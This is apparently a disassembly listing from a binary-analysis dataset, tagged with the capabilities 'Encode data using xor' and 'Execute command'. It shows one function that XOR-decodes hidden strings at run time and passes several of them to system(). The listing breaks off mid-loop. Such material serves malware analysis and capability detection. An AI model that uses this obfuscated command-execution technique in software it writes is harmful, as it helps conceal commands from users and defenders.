Function at 0x14002a5d0
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2b8]
sub rsp, 0x390
movaps xmmword [rax - 0x38], xmm6
mov eax, dword [0x14009d74c]
mov dword [rbp + 0x2c0], eax
xor ebx, ebx
mov edi, dword [reloc.WS2_32.dll_accept]
cmp byte [reloc.WS2_32.dll_gethostname], bl
je 0x14002a6e0
cmp edi, 2
jl 0x14002a6a3
movdqa xmm3, xmmword [0x1400ae1f0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400ae2d0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400ae2d0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400ae220]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400ae2a0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x2c0], xmm2
jmp 0x14002a6e0
lea r9, [rbp + 0x2c0]
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14002a6b0
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009d750]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009d760]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009d768]
mov dword [rsp + 0x48], eax
cmp byte [0x14009d76b], bl
je 0x14002a8a0
mov r8d, ebx
cmp edi, 2
jl 0x14002a865
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002a760
cmp r8d, 0x1c
jge 0x14002a8a0
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14002a870
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
lea rax, [rsp + 0x30]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], bl
jne 0x14002a8c0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x20]
call fcn.140022cf0
mov dword [rbp + 0x40], 0xa
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp + 0x20]
mov r14, qword [rbp + 0x20]
mov r13, qword [rbp + 0x38]
cmp r13, 0xf
cmova rdi, r14
lea rcx, [rbp + 0x20]
cmova rcx, r14
mov r15, qword [rbp + 0x30]
add r15, rcx
cmp rdi, r15
je 0x14002a94f
mov qword [rbp + 0x2c0], 0xa
nop dword [rax + rax]
movzx edx, byte [rdi]
mov rcx, r12
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, r15
jne 0x14002a920
cmp r13, 0xf
jbe 0x14002a986
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14002a97e
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002d5fa
mov rcx, r14
call fcn.140097c98
movups xmm0, xmmword [0x14009d770]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009d780]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009d788]
mov dword [rsp + 0x48], eax
cmp byte [0x14009d78b], 0
je 0x14002ab40
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14002ab05
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002aa00
cmp r8d, 0x1c
jge 0x14002ab40
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14002ab10
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x58], xmm1
lea rax, [rsp + 0x30]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002ab60
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x48]
call fcn.140022cf0
mov dword [rbp + 0x68], 0xa
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp + 0x48]
mov r14, qword [rbp + 0x48]
mov r13, qword [rbp + 0x60]
cmp r13, 0xf
cmova rdi, r14
lea rcx, [rbp + 0x48]
cmova rcx, r14
mov r15, qword [rbp + 0x58]
add r15, rcx
cmp rdi, r15
je 0x14002abef
mov qword [rbp + 0x2c0], 0xa
nop dword [rax]
movzx edx, byte [rdi]
mov rcx, r12
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, r15
jne 0x14002abc0
cmp r13, 0xf
jbe 0x14002ac26
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14002ac1e
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002d5fa
mov rcx, r14
call fcn.140097c98
movups xmm0, xmmword [0x14009d790]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009d7a0]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009d7a8]
mov dword [rsp + 0x48], eax
cmp byte [0x14009d7ab], 0
je 0x14002ade0
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14002ada5
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002aca0
cmp r8d, 0x1c
jge 0x14002ade0
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14002adb0
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
lea rax, [rsp + 0x30]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002ae00
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x70]
call fcn.140022cf0
mov dword [rbp + 0x90], 0xa
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp + 0x70]
mov r14, qword [rbp + 0x70]
mov r13, qword [rbp + 0x88]
cmp r13, 0xf
cmova rdi, r14
lea rcx, [rbp + 0x70]
cmova rcx, r14
mov r15, qword [rbp + 0x80]
add r15, rcx
cmp rdi, r15
je 0x14002ae91
mov qword [rbp + 0x2c0], 0xa
movzx edx, byte [rdi]
mov rcx, r12
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, r15
jne 0x14002ae62
cmp r13, 0xf
jbe 0x14002aec8
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14002aec0
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002d5fa
mov rcx, r14
call fcn.140097c98
movups xmm0, xmmword [0x14009d7b0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14009d7c0]
movups xmmword [rsp + 0x40], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
mov edi, dword [reloc.WS2_32.dll_accept]
test al, al
je 0x14002b070
cmp edi, 2
jl 0x14002b031
movdqa xmm5, xmmword [0x1400ae1f0]
mov edx, ebx
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov r8d, dword [rsp + 0x20]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x14002af32
jmp 0x14002b070
lea r9, [rsp + 0x30]
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x14002b040
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009d7d0]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009d7e0]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009d7e8]
mov dword [rsp + 0x48], eax
cmp byte [0x14009d7eb], 0
je 0x14002b230
mov r8d, ebx
cmp edi, 2
jl 0x14002b1f5
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002b0f0
cmp r8d, 0x1c
jge 0x14002b230
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14002b200
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa8], xmm1
lea rax, [rsp + 0x30]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002b250
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x98]
call fcn.140022cf0
mov dword [rbp + 0xb8], 0xa
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp + 0x98]
mov r14, qword [rbp + 0x98]
mov r13, qword [rbp + 0xb0]
cmp r13, 0xf
cmova rdi, r14
lea rcx, [rbp + 0x98]
cmova rcx, r14
mov r15, qword [rbp + 0xa8]
add r15, rcx
cmp rdi, r15
je 0x14002b2ef
mov qword [rbp + 0x2c0], 0xa
nop
movzx edx, byte [rdi]
mov rcx, r12
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, r15
jne 0x14002b2c0
cmp r13, 0xf
jbe 0x14002b326
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14002b31e
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002d5fa
mov rcx, r14
call fcn.140097c98
movups xmm0, xmmword [0x14009d7f0]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009d800]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009d808]
mov dword [rsp + 0x48], eax
cmp byte [0x14009d80b], 0
je 0x14002b4e0
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14002b4a5
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002b3a0
cmp r8d, 0x1c
jge 0x14002b4e0
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14002b4b0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
lea rax, [rsp + 0x30]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002b500
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0xc0]
call fcn.140022cf0
mov dword [rbp + 0xe0], 0xa
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdi, [rbp + 0xc0]
mov r14, qword [rbp + 0xc0]
mov r13, qword [rbp + 0xd8]
cmp r13, 0xf
cmova rdi, r14
lea rcx, [rbp + 0xc0]
cmova rcx, r14
mov r15, qword [rbp + 0xd0]
add r15, rcx
cmp rdi, r15
je 0x14002b59f
mov qword [rbp + 0x2c0], 0xa
nop
movzx edx, byte [rdi]
mov rcx, r12
call fcn.140028890
mov rcx, rax
lea rdx, [0x140028ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2c0]
call fcn.140022730
inc rdi
cmp rdi, r15
jne 0x14002b570
cmp r13, 0xf
jbe 0x14002b5d6
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14002b5ce
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002d5fa
mov rcx, r14
call fcn.140097c98
movups xmm0, xmmword [0x14009d810]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x14009d820]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x14009d828]
mov dword [rsp + 0x48], eax
cmp byte [0x14009d82b], 0
je 0x14002b790
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14002b755
movdqa xmm5, xmmword [0x1400ae1f0]
movdqa xmm4, xmmword [0x1400ae2d0]
movdqa xmm6, xmmword [0x1400ae220]
movdqa xmm0, xmmword [0x1400ae2a0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400ae250]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002b650
